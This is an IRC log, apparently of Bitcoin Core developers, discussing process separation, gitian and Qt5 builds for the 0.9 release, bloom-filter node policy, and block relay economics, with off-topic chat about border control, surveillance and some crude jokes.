00:58 < cfields> gavinandresen: if that's what you'd prefer, but seems that would only make it more complicated?
00:58 < cfields> I suppose your goal is to differentiate between our changes and theirs?
00:59 < gavinandresen> yes, if we are going to extend trust to MacPorts then better to make it explicit.
00:59 < gavinandresen> (if we are going to CONTINUE to extend trust....)
00:59 < cfields> i wasn't going to say it ;)
21:43 < petertodd> sipa: You expecting payment protocols?
21:43 < sipa> yes, i don't like that
21:43 < sipa> petertodd: yes
21:43 * BlueMatt beats jgarzik with a wet fish
21:43 < petertodd> sipa: Well... that's a long, long, long way off.
21:44 < sipa> petertodd: but what has that to do with anything?
21:44 < petertodd> sipa: After all, a UTXO set copy is a requirement for a validating node, which means the RPC should support it.
21:44 < gmaxwell> petertodd: funny multibit works just fine (cough on the fine part...) without any of that stuff.
21:44 < sipa> petertodd: wallet can perfectly keep track of their own transactions
21:44 < petertodd> gmaxwell: Right, by just downloading blocks.
21:44 < sipa> petertodd: no need to depend on any non-authorized data
21:45 < gmaxwell> petertodd: no, it uses bloom filterd blocks.
21:45 < petertodd> sipa: Remember, I did say UTXO in the *RPC*, not as a network visible thing.
21:45 < petertodd> sipa: Network visible is insane I agree.
21:45 < sipa> petertodd: i don't care, whatever protocol you use to let wallets and bitcoind communicate
21:46 < sipa> petertodd: and an address-indexed UTXO set isn't even enough for all wallet applications - you need the full transactions anyway to produce a ledher
21:47 < jgarzik> sipa: More seriously... I proposed a similar split on #bitcoin-dev a few days ago. Was looking into a fork(2)-based firewall between RPC/wallet/GUI and "everything else" (blockchain engine, really)
21:47 < jgarzik> sipa: would be trivial to split even further, once that happens
21:47 < sipa> agree
21:47 < petertodd> fork(2) is a clever way to do it, and easy to get started on
21:47 < gmaxwell> jgarzik: this has been said _lots_ of times in the past. By too too I think. I don't think anyone disagrees... doing that would let us do nice sandboxing eventually.
21:48 < jgarzik> I even researched Windows compatibility, RE fork+pipe: http://msdn.microsoft.com/en-us/library/edze9h7e%28v=vs.80%29.aspx
21:48 < sipa> no need for pipes; network sockets will work fine?
21:48 < jgarzik> sipa: fork+pipe is a nice existing model, can become sockets later
21:49 < jgarzik> sipa: but no big deal either way
21:49 < sipa> right
21:50 < jgarzik> in current code's context, The Program would fork off (re-run the exe, in Windows' case) the blockchain engine. The Program would be RPC/wallet/GUI etc.
21:51 < jgarzik> gmaxwell: Well, from my perspective it seemed like everybody disagreed, when BlueMatt's big work was held in favor
21:51 < jgarzik> I prefer a more heavyweight messaging boundary (like pipe / network socket)
21:51 < petertodd> jgarzik: That also means you can make a very secure strictly non-wallet RPC interface that lives with the blockchain engine. - blockheaders and what not only
21:52 < petertodd> jgarzik: (or as a third process)
21:52 < gmaxwell> we don't need a zillion processes please. :P
21:53 < BlueMatt> jgarzik: meh, CBlockStore never worked out because it was never mergeable at the time I had free time to maintain it (along with many other issues)
21:53 < sipa> jgarzik: that was just making a hub structure for different components to communicate instead of ad-hoc... the idea was that some parts could move to other processes as well
21:53 * petertodd has shares in micron
21:53 < BlueMatt> realistically, it needs to happen in pieces, not at once
21:53 < sipa> yeah
21:53 < sipa> one of the things i'm "waiting" for, is CodeShark's split of main/core
21:54 < BlueMatt> CodeShark is working on this?
21:54 < gmaxwell> I don't see a reason for more than three proceeses p2p network / block(+block rpc) / wallet(+wallet rpc / optionall gui) and maybe the p2p and the block part are one process.
21:54 < petertodd> gmaxwell: right, that's exactly what I'm proposing
21:54 * jgarzik bets he can complete a fork()er before CodeShark ;p
21:54 * BlueMatt ponders writing CBlockStore part 1 version 4...
21:54 < jgarzik> mmmmm, competition
21:54 < BlueMatt> or am I on version 5 now?
21:54 < gmaxwell> then we can get to pick between pulls
21:55 * BlueMatt gives up and goes back to writing a bitcoinj full verification engine no one uses
21:56 < jgarzik> One "blockchain engine" process should manage p2p and block database, IMO. Does not seem a need to split further (but who knows 'til ya get there)
21:56 < gmaxwell> BlueMatt: If I send you a fruit basket will you stop being sore about that? :P
21:56 < jgarzik> and that would be a natural splitting point for a further bitcoind/rest separation.
21:56 < sipa> jgarzik: core/main split has nothing to do with that; it's just that main right now has a) very low-level stuff (definitions of CTransaction/CBlock/...) and b) very high-level stuff (management of block db, verification, ...)
21:56 < petertodd> jgarzik: Keep in mind I'm specifically thinking of an RPC interface that would serve up data locally completely unauthenticated.
21:56 < jgarzik> petertodd: yes
21:56 < sipa> jgarzik: idea is that the low-level stuff moves to core.h/.cpp, so that +- everything loses its dependency on main
21:57 < jgarzik> petertodd: a blockchain engine would use something like that
21:57 < jgarzik> sipa: ah ok. +1
21:57 < BlueMatt> gmaxwell: which one, CBlockStore or bitcoinj?
21:57 < BlueMatt> gmaxwell: and, no, I just like to bitch
21:58 < gmaxwell> BlueMatt: CBlockStore XXIVXI (the revenge) :P
21:58 < sipa> after that, i'd like to have a "block manager" or something, which just maintains CBlock's that are being worked on in memory, refcounts, and has a background thread for syncing them to disk
21:58 < gmaxwell> 2013-03-29 01:57:53 block index 716145ms
21:58 < gmaxwell> :P
21:58 < BlueMatt> valgrind?
21:58 < gmaxwell> yea.
21:59 < BlueMatt> gmaxwell: also, the amount of work that went into CBlockStore...
21:59 < BlueMatt> anyway...
21:59 < jgarzik> essentially all wallets, and other fun petertodd apps, are query clients for the public blockchain dataset
21:59 < BlueMatt> yes
21:59 < jgarzik> some apps might want additional indices we don't care about, to make things like searching for bitcoin address easier
22:00 < petertodd> yup, timestamp verification is you canonical example where a pure blockheader thing would be useful, fidelity bonded banking/ledgers needs searchable UTXO sets at the other extreme
22:00 < sipa> i do like to see a split (not necessary separate processes, but at least funcionality-wise independent) between archival block storage (with optionally some indexes) and UTXO maintainance (with optionally some indexes)
22:01 < petertodd> sipa: Good idea - needs to be done long-term conceptually for agressive SPV with a healthy network after all.
22:02 < sipa> SPV has nothing to do with that :p
22:02 < sipa> as it has neither
22:02 < petertodd> sipa: brainfart - s/SPV/pruning/
22:02 < sipa> ok
22:03 < petertodd> speaking of: blockchainbymail.com
22:04 < BlueMatt> hahahaha
22:04 < petertodd> It was going to be my April Fools joke, but then someone went off and did it so I gave them the domain. :P
22:09 < warren> petertodd: would be great if the only way to order the blockchainbymail is with bitcoin.
22:11 < petertodd> sigh, recursion...
22:12 < petertodd> related: I'm thinking for a merklized AST what makes sense is merklized forth. The forth dictionary concept is perfect for it, and means you have a simple, easy to implement language already used for embedded andother things (and bitcoin scripting) along with all the usual nice things like editor modes and what not
22:12 < sipa> did you mean: recursion?
22:12 < BlueMatt> sipa: no he meant recursion
22:12 < sipa> BlueMatt: the recursive kind?
22:13 * petertodd is an analog electronics designer, just so you know.
22:13 < sipa> petertodd: dude, what are you not?
22:13 < petertodd> sipa: well, I'm not an expert at anything...
22:19 * jgarzik ponders the bandwidth of QR codes
22:19 < jgarzik> Could a 1MB block fit on a single, printed 8.5" x 11" page?
22:20 < jgarzik> easy enough to have multiple QR codes
22:21 < sipa> jgarzik: there's even a standard for that
22:22 < petertodd> 400dpi works out to 1.87MB at 1 bit per dot
22:22 < petertodd> so I'm guessing no, but it's not far from possible
22:23 < petertodd> computer data storage on paper used to be a thing
22:32 < jgarzik> so
22:33 < jgarzik> header + coinbase tx + list of TX hashes is sufficient to recreate a full block byte-for-byte, assuming fully cached TX's
22:33 < jgarzik> correct?
22:33 < sipa> yes
22:42 < petertodd> Merkle Forth: So you've got your parameter stack and return stack, and are thus at the point where you can recreate Bitcoin scripting. Now the interesting thing to do is add TPM functionality, which means a PCR opcode and stack to allow you to select what you want to consider as the start of the current trusted block of code. Then add an encrypted stack,
as expected encrypted with H(sec|PCR tip), and some sort of monotonic counter thing. That should give you enough to do trusted computing with an extremely stable API, and that API itself can be just AST heads of useful library function calls that may actually be implemented directly in C or whatever rather than the opcodes themselves.
22:43 < petertodd> Now off-chain tx's with trusted hardware is just a matter of agreeing on a common program that will manipulate the counters representing value attached to the private keys, as well as agreeing on what signatures sign the classes of hardware you can trust.
22:44 < petertodd> With some careful design you can probably even use the programs themselves to prove fraud/compromised trusted hardware, basically by just providing a program that should have run, and some kind of execution trace proving it didn't do that, at least in many cases.
22:45 < petertodd> Equally, that also makes designing redundent hardware easier, as you can reuse the execution traces to determine if two sealed up uC's runningt he code executed the code in the same way on the same data.
00:10 < andytoshi> midnightmagic: lol, i formally skipped two grades, but my attendence was ~0 so it didn't matter, just let me get out earlier, so i'd recommend it
00:11 < midnightmagic> oh cool
00:11 < petertodd> andytoshi: huh, must be a regional thing that they settle in Toronto
00:11 < midnightmagic> yikes.
00:11 < andytoshi> midnightmagic: agreed re iranians, the one guy i know is so much fun
00:11 < gmaxwell> Its not something that was widely publicized, I think I only knew it was possible as a result of talking to some prof at the local community college who'd done it himself in the 70s... I caused a number of other people to do it.
00:12 < petertodd> andytoshi: also people from Iraq, Palestine, Afghanistan etc.
00:12 < midnightmagic> then again I personally have never met a single US'ian I didn't love so.. dunno if I'm just a people lover or plain lucky
00:13 < andytoshi> petertodd: cool, also know only one iraqi, two afghanis, no palestinians.. vancouver is all east asia and india
00:13 < petertodd> midnightmagic: it's interesting just how much iran has changed for so many of the iraneans I know - practially a different country now compared to the 70's or so
00:13 < midnightmagic> yunan province chinese are awesome
00:13 < midnightmagic> lol
00:13 < petertodd> midnightmagic: most of the ones I knew had grown up here - it was their parents who fled
00:14 * midnightmagic tries to think of a people that irritate him and fails.
00:14 < petertodd> midnightmagic: aussies?
00:15 < andytoshi> haha
00:15 < midnightmagic> petertodd: Hrm, yeah maybe. There's some weird misogyny stuff going on there. But NZ make up for it
00:15 < petertodd> ha
00:15 < petertodd> good, cause my mom's an aussie, and my brother lives there :P
00:15 < midnightmagic> :-)
00:16 < midnightmagic> my cousin is marrying an aussie, he's like the ultimate man's man, great guy
00:16 < petertodd> lol
00:16 < midnightmagic> (in the awesome way, not the chauviniat way)
00:16 < petertodd> sounds about right
00:17 < midnightmagic> :-)
00:18 < petertodd> actually the one group I didn't like at ocad was about half of the Jews from Israel - see, one half left Israel because they couldn't stand the violence, and the other half left Israel because they couldn't stand the violence... and you'd, roughly speaking, have one half of that group be "peachniks", and the other half be downright frightening if you ever
got them talking about the security of Israel. Very bizzare in the context of an art ...
00:18 < petertodd> ... school to say the least.
00:19 < petertodd> Really good example of how utterly polarizing that issue can be with people unfortunately. :(
00:30 < gmaxwell> At the IETF many of the Israel folks are super duper heavy pro-surveillance-state (enough that its conspicuous). I've observed this create some pretty awesome dissonance in hallway conversation with americans of jewish dissent. "Goverment tracking and logging everyones activity, surely there is no historical precident for the abuse of this kind of infrastructure!"
00:34 < petertodd> gmaxwell: ha, sounds about right. Really bothered me the one time I heard one of the more militant of them talk about the "Palestine problem" as something that needed a final solution.
00:35 < gmaxwell> Final Solution. Get the case right.
00:35 < petertodd> gmaxwell: good example of how perceived safety works too... the people I knew from Palestine, heck, even Gaza, never seemed to have that kind of hostility.
00:36 < petertodd> gmaxwell: I'll assume they were quoting Ariel Sharon, who gets quotes as saying that in lowercase. :/
00:37 < gmaxwell> I can't even pretend to understand the geopolitics there, but it is interesting to see how different social/cultural backgrounds color positions and perspectives.
00:38 < gmaxwell> I've also seen some people from places with severe organized crime and corruption problems see antisurveillance technology as problematic. In particular because the badguys there have unequal access to it, and because surveillance is _sometimes!_ successfully used against them.
00:39 < petertodd> Yeah. Really unusual that too given there were just as many Israels I ran into it who were truly passionate about the peace process and ending violence; kept running into one of my teachers at protests related to it.
00:39 < gmaxwell> I wonder how different the US perspective on the NSA might be if it were also used to root out a bit of serious corruption in government here and there.
00:40 < petertodd> I think that's a very good point: the middle-east people I knew from OCAD were the first to pick up on the NSA stuff other than tech people I knew.
00:40 < petertodd> While I've yet to hear any Russians bothered by it.
00:43 < petertodd> Of course, Toronto also had the G20, which I think *really* turned public opinion against the police locally with how badly it was handled. First time in my life that all the major papers quite direclty accused the police of lying.
00:43 < petertodd> I think that's rubbed off to survailance stuff in general, at least based on the way people seem to talk about the NSA.
00:44 < andytoshi> petertodd: where i live, there is a general distrust of the "american police state", especially since many vancouverites drive to and from seattle routinely
00:44 < petertodd> andytoshi: interesting! due to border guards?
00:44 < andytoshi> petertodd: yes
00:45 < andytoshi> the american border guards are idiots and agressive, and we all know people who've been barred from the country for trying to bring dope over
00:45 < andytoshi> about 25% of the time you are 'randomly selected' to go stand in line for several hours while they take your car apart
00:45 < petertodd> andytoshi: heh, might have something to do with my co-workers dislike too: we've had hundreds of thousands of dollars worth of really sensitive equipment destroyed by border guards pulling it apart :(
00:46 < petertodd> andytoshi: took the second occasion before they realized they'd jsut have to ship stuff by hand
00:46 < andytoshi> when i fly to the US, customs entering the US is fascinating to watch because the non-canadians have to do the police-state record-all-ten-fingerprints thing
00:47 < andytoshi> meanwhile canadians get a special treatment because they would never put up with that, and they are still hostile to the guards and vice-versa
00:47 < petertodd> andytoshi: it's canadians too sometimes...
00:47 < andytoshi> ..and the poor europeans are basically being strip-searched, watching canadians glare at guards as the stand 2 inches over the line they were told to stand behind
00:48 < andytoshi> petertodd: canadian guards? driving in i have had them be assholes before, though they have never taken my car apart
00:48 < andytoshi> flying in, the "customs" process involved them asking if i went to school in the US
00:48 < andytoshi> i said yep, the guy said ok, sure
00:48 < petertodd> heck, I had a friend who tried to go into the states in the middle of summer, with her dog in her car, and they forced her to leave said dog in the car while they interregated her. The whole time they just stonewalled her as to what was happening to her dog, saying they didn't give a damn. Of couse, in reality it was just a pressure tactic and they'd let
it out and gotten it some water, but...
00:48 < andytoshi> jeez
00:48 < petertodd> andytoshi: oh, I mean they give the fingerprint treatment to canadians sometimes
00:49 < andytoshi> oh, i got that when i first got my F1 status
00:49 < andytoshi> very annoying, i'll have to replace those fingertips when i get out of school <.<
00:49 < petertodd> ha
00:49 < petertodd> take up quarts glass blowing, and be clumsy
00:49 < andytoshi> :P
00:51 < petertodd> I was impressed with the european border control when I went to the dark wallet hackathon, which was held in an abandoned building with known cyber-terrorist Amir Taaki: didn't ask me a single question
00:51 < andytoshi> haha, excellent
00:53 < andytoshi> is amir a "known cyber-terrorist"?
00:53 < andytoshi> haha, i see, i've never read his wiki page before..
00:53 < petertodd> I sure hope so! I've got an image to maintain
00:54 < andytoshi> https://en.wikipedia.org/wiki/Amir_Taaki#Activism would certainly classify him as a terrorist in america
00:55 < petertodd> agreed, and Esperanto?! evil
00:55 < phantomcircuit> only on tuesdays
00:55 < andytoshi> that wiki page also claims he is on forbes' top 30 entepreneurs of 2014
00:55 < andytoshi> ..which was published tomorrow o.O http://www.independent.co.uk/news/business/analysis-and-features/meet-the-worlds-next-billionaires--from-mashables-pete-cashmore-to-bitcoin-renegade-amir-taaki-9042710.html
00:55 < petertodd> andytoshi: um... yeah... I belive that guy when he says he's penniless
00:56 < andytoshi> oh, no, that's today's date up top, the article is a week old :P
00:57 < phantomcircuit> petertodd, im pretty sure he has at least like
00:57 < phantomcircuit> 100 euros
00:57 < andytoshi> yeah, the article credits him for darkwallet, but that seems pretty hard to monetize
00:57 < petertodd> phantomcircuit: and one pair of unwashed sweatpants
00:57 < andytoshi> i assume jon matonis was involved in that list ..
00:57 < petertodd> andytoshi: lol
00:57 < phantomcircuit> petertodd, im pretty sure he has only one pair of everything
00:58 < phantomcircuit> maybe he has two shirts
00:58 < petertodd> phantomcircuit: probably both scavenged
00:59 < phantomcircuit> eh probably not quite
00:59 < phantomcircuit> maybe his mom bought them
00:59 < phantomcircuit> (that's always a good way to get new clothes)
00:59 < petertodd> phantomcircuit: works best when you're parents live in northern canada... and they invite you home for chistmas
00:59 < phantomcircuit> which is why i get a nice laugh at people accusing him of doing things for bad reasons
01:00 < phantomcircuit> it's just not how he operates
01:00 < petertodd> yup, he's very genuine
01:00 < warren> jgarzik: older versions of osx run in a heavily hacked kvm
01:00 < warren> jgarzik: it's quite a pain
01:00 < warren> jgarzik: I found it easier to buy an old macbook with a broken screen, put it into a data center and ssh->vnc in
01:00 < gavinandresen> I asked Apple developer support about building in a VM, and they basically said "No."
01:01 < cfields> gavinandresen: ok. I'm happy to clean up and document the patching process. Atm it's just one hammer after another, just wanted to get the thing built/working
01:01 < jgarzik> heh
01:02 < cfields> gavinandresen: but ofc that hinges on whether or not you think the goal is useful. If it's deemed not worth the hassle, obviously there's no sense in continuing
01:03 < gavinandresen> cfields: we're on the ragged edge of what we can support with the developers we've got right now, in my humble opinion.
01:03 < gavinandresen> Adding another build environment
01:03 < cfields> hehe, my writing makes me sound so dickish. the above translates to: "think it's worth pursuing?"
01:04 < cfields> gavinandresen: well there is no new environment really. It's just existing environments doing cross-builds
01:04 < gavinandresen> In the grand scheme of things, gitian building gives geeks the warm fuzzies, but doesn't matter diddly-squat to end users. Who are using lightweight wallets anyway.
01:07 < cfields> gavinandresen: given that line of reasoning, there's no need to do linux releases if distros are handling them.
01:07 < phantomcircuit> cfields, oh god no
01:08 < gavinandresen> A good test for whether it is worth continuing: I think we should switch to qt5 for the 0.9 release. How much extra work to get the osx gitian build working? Could anybody besides you do it in a reasonable amount of time?
01:08 < cfields> Not arguing one way or another, but that seems at odds with current development
01:08 < phantomcircuit> the distros are NOT handling them
01:08 < warren> cfields: the distros are really messing it up
01:09 < cfields> heh, just evaluating data-points. I'm not suggesting anything at all
01:09 * gavinandresen notices there is no qt5-mac yet in macports
01:10 < cfields> gavinandresen: i have qt5 up and running on my macbook somewhere
01:10 < cfields> taken from the binary release
01:10 < gavinandresen> cfields: me too! Not using it because autotools.....
01:11 < cfields> gavinandresen: heh, 9235th hint received
01:11 < cfields> gavinandresen: i was planning to knock that out after the dmg. seems i got my priorities reversed.
01:11 < warren> cfields: there's a 200 unit bounty!
01:11 < gavinandresen> mmm. It is always a question of priorities: gitian-built OSX is a would-be-nice for me, not a priority.
01:12 < gavinandresen> qt5 is a priority, because there's a nasty bug in the payment protocol on Windows that is fixed by qt5
01:12 < cfields> gavinandresen: well i resigned from my job and there's a sizeable bounty for the dmg. So in this case the priority was food and shelter :)
01:13 < cfields> gavinandresen: what's the timeline for .9 release?
01:13 < gavinandresen> cfields: Release candidate sometime in January
01:13 < jgarzik> 1 day
01:13 < jgarzik> +/- 100% error factor
01:14 < jgarzik> headers-first sync doesn't seem to be moving?
01:14 < jgarzik> or did I miss something
01:14 < gavinandresen> headers-first sync isn't a showstopper feature for 0.9
01:14 < gavinandresen>
it is on my 'nice-to-have' priority list, too.
01:14 < gavinandresen> (way up near the top of that list)
01:14 < gmaxwell> this should probably be in #bitcoin-dev
01:15 < cfields> gavinandresen: if qt5 is that much of a necessity, i can switch gears and get it knocked out this weel
01:15 < gavinandresen> yup
01:15 < cfields> *week
01:15 < cfields> i was under the impression it was just a shiny new toy to play with
01:17 < gavinandresen> cfields: yes, please! qt5 is necessary for 0.9....
01:20 < cfields> gavinandresen: ok. I suppose win32 is top priority, then?
01:21 < cfields> gavinandresen: given that it may cause headaches in linux/osx due to it being new and relatively unpackaged, it'd probably be best to attack it in chunks
01:21 < cfields> meaning: push in support for win32 before it's supported across the board
01:34 < gavinandresen> cfields: okey dokey
01:50 < warren> gavinandresen: what in particular about 10.7 and "anyone at apple to care"?
04:09 < michagogo|cloud> 5:14:50 <cfields> ok, great. So if anyone else want to try to build with gitian, i can provide that file to spare you the trouble
04:10 < michagogo|cloud> Erm, is that file legally redistributable?
05:03 < gmaxwell> I noticed something on the latest surprisingly bad Shamir paper.
05:03 < gmaxwell> ... it was also on the other one, but I didn't notice it there.
05:03 < gmaxwell> Acknowledgments. This research was supported by a research grant provided by the Citi Foundation.
05:05 < TD> huh
05:05 < TD> that is indeed what it sounds like
05:38 < gmaxwell> https://news.ycombinator.com/item?id=6793270
05:40 < TD> yes, i've been wondering what happened to shamir ....
05:45 < TD> makes me wonder if the R and A carried more of the weight than the S
06:02 < Ryan52> heh, a friend of mine was bragging to me the other day that he knows "the S in RSA", in response to the shirt I wore having "RSA" mentioned on it. I guess that may not count for quite as much as he had hoped now. :)
07:18 < Emcy> citi foundation you say
07:18 < Emcy> as in the bank
07:18 < gmaxwell> As in the bank.
07:19 < Emcy> guess were past the laughing at us stage then
07:20 < Emcy> you should see some of the 'papers' on filesharing which various Ass. of America groups have bankrolled
07:21 < gmaxwell> Emcy: did you see me say the same thing on reddit?!
07:21 < Emcy> um no?
07:22 < gmaxwell> Emcy: http://www.reddit.com/r/Bitcoin/comments/1reuwq/vigorous_debate_over_shamirrons_supposedly/
07:22 < Emcy> i stopped going on the bitcoin reddit because it comes across as mainly a huge price pump engine/death to the foundation noticeboard
07:23 < gmaxwell> hah, that about characterizes it, yup.
07:24 < gmaxwell> I'm pretty sure my net karama in that subreddit (and only that one) is negative... because I keep saying edgy things things like "Bitcoin is uncertan and has risks too" :P
07:24 < gmaxwell> Emcy: in any case, see my comment there: http://www.reddit.com/r/Bitcoin/comments/1reuwq/vigorous_debate_over_shamirrons_supposedly/cdmjbze
07:33 < Emcy> nulldc?
07:36 < Emcy> " the existence of a surprising link between the two mysterious figures of the Bitcoin community, Satoshi Nakamoto and DPR."
07:36 < Emcy> oh fuck right off with that shit
07:36 < gmaxwell> yea, its crud.
07:37 < Emcy> this is why satoshi stayed anon, and people still question why
07:37 < gmaxwell> News flash: Two bitcoin users used a common exchange!
07:37 < Emcy> i never knew satoshi ever used an exchange
07:39 < sipa> it's not about satoshi :p
08:15 < wumpus> one of the early adopters used an exchange!
08:16 < gmaxwell> wumpus: someone had to go first!
08:16 < petertodd> Emcy: really remarkable that Satoshi and DPR both used an obscure digital store-of-value system
08:18 < wumpus> hehe
08:18 < Emcy> i bet they both use the toilet too
08:18 < Emcy> half life 3 confirmed
08:19 < petertodd> Emcy: it's going to be sooo weird when it turns out that satoshi was a facehugger
08:19 < gmaxwell> Whats a facehugger?
08:19 < Emcy> what now
08:19 < petertodd> http://static1.wikia.nocookie.net/__cb20080712194334/avp/images/b/bb/Alien-The_Facehugger.png
08:20 < Emcy> and the human is the banks rite
08:20 < petertodd> hehe, yup
08:20 < Emcy> heh now watch this chatlog get used in congressional testimony as to why bitcoin was designed to be a parasitic force on the great and the good
08:21 < gmaxwell> If the banks were as tough as sigourney weaver they wouldn't need so many bailouts.
08:22 < petertodd> gmaxwell: nah, banks are the alien queen - sigourney weaver is credit unions, and satoshi is the nuke they should have used from orbit...
08:22 < petertodd> ...only way to be sure
08:22 < Emcy> no theyre more like the female lead from the new prometheus film....totally useless but got out of an extremely hairy situation when they really shouldnt have
08:23 < petertodd> Emcy: ha
08:23 < petertodd> Oooooh, there's an alt-coin that hasn't been made yet: HR Giger Coin
08:24 < petertodd> "You're funds are well protected by proof-of-sexual-sacrifice"
08:24 < Emcy> yeah, the logo is an alien dick penetrating some chimera ass
08:24 < petertodd> Brings new meaning to the term "fidelity bond"
08:24 < Emcy> ahuehue
08:36 * gmaxwell checks the channel hes in
09:00 < pigeons> petertodd: sounds like a good additional feature for https://bitcointalk.org/index.php?topic=294383.0;all
09:21 < TD> boggle
09:31 < cfields> michagogo|cloud: by itself, no
09:31 < cfields> michagogo|cloud: you can jump through a series of hoops to get it completely legally
09:31 < cfields> michagogo|cloud: in fact, everyone who has ever built on osx has already done so, it's a requirement
09:50 < jgarzik_> Interesting point by BTC guild op, https://bitcointalk.org/index.php?topic=338452.msg3670185#msg3670185
09:50 < jgarzik_> Makes me want to accelerate my mempool expiration plans
09:53 < TD> or just optimise that algorithm
09:53 < sipa> i started working on a quick patch to use BIP37 full-block-match for block relaying
09:53 < sipa> but it's hard to do know, if we need integration with orphan handling
09:53 < TD> how so ?
09:53 < sipa> implementation reasons
09:54 < sipa> doing that after headers-first is probably much simpler
09:54 < sipa> and safer too, as it will allow validating the header ahead of time
09:54 < TD> maybe you could send the headers-first code you've got to gavin?
09:55 < sipa> the former pull request is public
09:55 < sipa> around christmas i'll have time, i guess :)
10:38 < Emcy> is any pool not capping thier blocks
10:38 < Emcy> i think only eligius?
18:25 < warren> bored hacker was the risk we're concerned about?
18:25 < gavinandresen> warren: "many of us" ? be specific, please.
18:25 < petertodd> warren: not exactly a strong guarantee, but it takes pressure off and lets all kinds of solutions be worked on.
18:25 < warren> gavinandresen: perhaps you didn't notice that nearly everyone is in favor of it?
18:26 < petertodd> warren: bitcoin-qt development happens by rough consensus, nearly everyone with strongly opposed minority isn't rough consensus
18:26 < gavinandresen> warren: I was under the impression that sipa/jgarzik/gmaxwell did not feel strongly about it. And I'm listening to Mike Hearn very carefully, because bitcoinj is ACTUALLY USING THE FEATURE
18:27 < gavinandresen> It seems extremely likely that match-only bloom filters will be the default way of propagating nodes in the 0.9 release, too.
18:27 < gavinandresen> (to help address the orphan cost / high transaction fee problem)
18:27 < warren> sipa jgarzik gmaxwell were actually in favor.
18:27 < gavinandresen> ^propagating nodes^propagating blocks
18:27 < sipa> i'm in favor of NODE_BLOOM yes, but i don't think it's urgent
18:27 < petertodd> sipa: +1
18:28 < warren> OK, it isn't urgent enough for 0.8, I agree.
18:28 < sipa> also, match-only bloom filtering has no DoS risk, it can always be available
18:28 < petertodd> sipa: yeah, match-only bloom filtering has nothing to do with the real intent of NODE_BLOOM
18:28 < sipa> it's just a side effect of nicely fitting in the same protocol
18:29 < gavinandresen> I'm already hearing the "why am I getting merkleblock messages when I don't have NODE_BLOOM set" complaints
18:29 < warren> gavinandresen: part of the problem with bitcoinj is its scary absolute reliance on using only the DNS seeds, not asking nodes for peer addresses and not remembering any. It also has no facility to query peers for service bits and deciding not to use that peer. We're looking at fixing that.
18:29 < petertodd> sipa: yup, and as match-only becomes more developed my NODE_BLOOM bip should be updated to figure out how to differentiate them
18:29 < warren> gavinandresen: how is that true? there aren't any NODE_BLOOM nodes yet.
18:30 < sipa> warren: he's prognosticating
18:30 < gavinandresen> warren: if we implement NODE_BLOOM but make an exception for match-all, then that is a wart that future developers will wonder/complain/obsess-over ....
18:31 < petertodd> gavinandresen: yes, which means letting the discussion sit for a bit while that's hashed out is perfectly reasonable.
18:31 < warren> gavinandresen: let's have the full policy discussion for 0.9, no rush for now. We have problems with other implementations of full nodes and future pruned nodes that can't service bloom.
18:31 < warren> gavinandresen: sorry for pushing for 0.8, it's not ready, I agree.
18:31 < gavinandresen> good, we all agree
18:32 < sipa> warren: you mean 0.10 and 0.9 i think
18:32 < sipa> 0.8 has been out for half a year or more
18:33 < petertodd> warren: the question isn't "can't service bloom", it's "don't want too/it would be best if they used their resources in a different way"
18:33 < petertodd> warren: sure, some can't, but that's not the interesting part
18:37 < cfields> which ubuntu version did we end up upgrading gitian to for win32 builds?
18:37 < warren> cfields: 12.04
18:38 < cfields> blah
18:38 < warren> cfields: let's have a fourth VM! =)
18:38 < warren> cfields: you found that any distro clang is good enough?
18:39 < cfields> warren: i just had the fun of ripping out my nightlies and confirming that raring's default clang works
18:39 < warren> trouble there is it isn't LTS
18:39 < petertodd> gavinandresen: re: high fees, if you can get 0.1s latency, and 500KB/s bandwidth between hashing power, 0.1mBTC/KB fees are profitable with 1MB blocks - if you care about the issue, tell BTC Guild, GHash.IO, Eligius and BitMinter/Slush to run some nodes doing private peering and do 1MB blocks and you're done.
18:39 < cfields> without a big hassle, i can't test anything lower. so for my POC, i'm going with raring
18:40 < cfields> if it turns out that it works with earlier versions, that's a bonus
18:40 < petertodd> gavinandresen: if they don't listen, well, that says a lot about pool incentives...
18:40 < warren> cfields: want me to create a 12.04 VM for you to login and test?
18:41 < cfields> warren: nah, nothing's automated. so it's not an easy test, i'd have to recreate my entire env.
18:41 < cfields> i'll script something up as agnostic as possible
18:41 < gavinandresen> petertodd: I'm trying to get out of the business of "Everybody Do What Gavin Says"
18:42 < warren> cfields: if we can figure out how to use new-linux to compile old-glibc compatible binaries, we can have the same VM for all gitian.
18:42 < petertodd> gavinandresen: ok, I'll do
18:42 < petertodd> *do it
18:42 < gavinandresen> petertodd: excellent
18:42 * gavinandresen rubs his hands together like Mr. Burns
18:43 * petertodd rubs his hands together like the board that Mr. Burns is accountable too
18:43 < cfields> warren: aiming for a single abi isn't reasonable to me. someone else can attempt if they'd like, but i won't be spending my time on that
18:43 < warren> petertodd: was that ever featured in an episode? I don't recall.
18:43 < petertodd> warren: it got left out for dramatic purposes
18:44 < petertodd> warren: quite serious I'm really interested to see how pools react to this stuff - it can be taken as a solid sign of centralization after all
18:45 < petertodd> warren: what I'm also interested in, is trying to figure out if this latency/bandwidth stuff - the limits of the "jam free broadcast medium" model - is inherent to the design of Bitcoin and by extension other possible consensus systems.
18:47 < petertodd> warren: e.g. suppose you had a system where multiple blocks could have the non-conflicting parts of them re-merged - how does that change the profitability vs. hashing power effect? can you get a system where the dE/dQ isn't positive, maybe zero or even negative? I dunno.
18:47 < sipa> petertodd: you know about amiller's blockdag idea?
18:47 < petertodd> sipa: that's exactly what I'm talking about
18:48 < petertodd> sipa: could be especially important for p2pool for instance - and it's easiest to implement there
18:48 < sipa> not really, if you say "non-conflicting parts"
18:48 < petertodd> ?
18:50 < amiller> i never got very far on it
18:50 < amiller> it's along the lines of stuff you've talked about anyway petertodd
18:50 < petertodd> amiller: ah, I was going to ask if you had published it
18:51 < amiller> i have rambled about it once or twice in forum posts and bitcoin-dev
18:51 < sipa> petertodd: blocks would refer to a single "valid predecessor" node, but also to 0 or more other blocks of which only the PoW is merged, not the transactions
18:51 < petertodd> sipa: right, and in this case, if merging the PoW also rewards those who did that work in some way, then you may be able to make profitability not so heavily dependent on hashing power and latency/bandwidth
19:15 < amiller> no one's going to like it, but i'm vaguely headed towards a notion of incentive-compatibility in a world of context-dependent values of things
19:15 < amiller> basically the path to that is to realize that miner fees may be in the form of color coins
19:15 < amiller> and you can't prevent miners from being motivated by overlay values
19:40 < gavinandresen> amiller: If "nobody" likes it, then it should be easy to prevent. Just have miners "discourage" blocks that they don't like. We haven't done any of that yet, but the more I think about it the more I think that is the way miners will solve collective-action problems
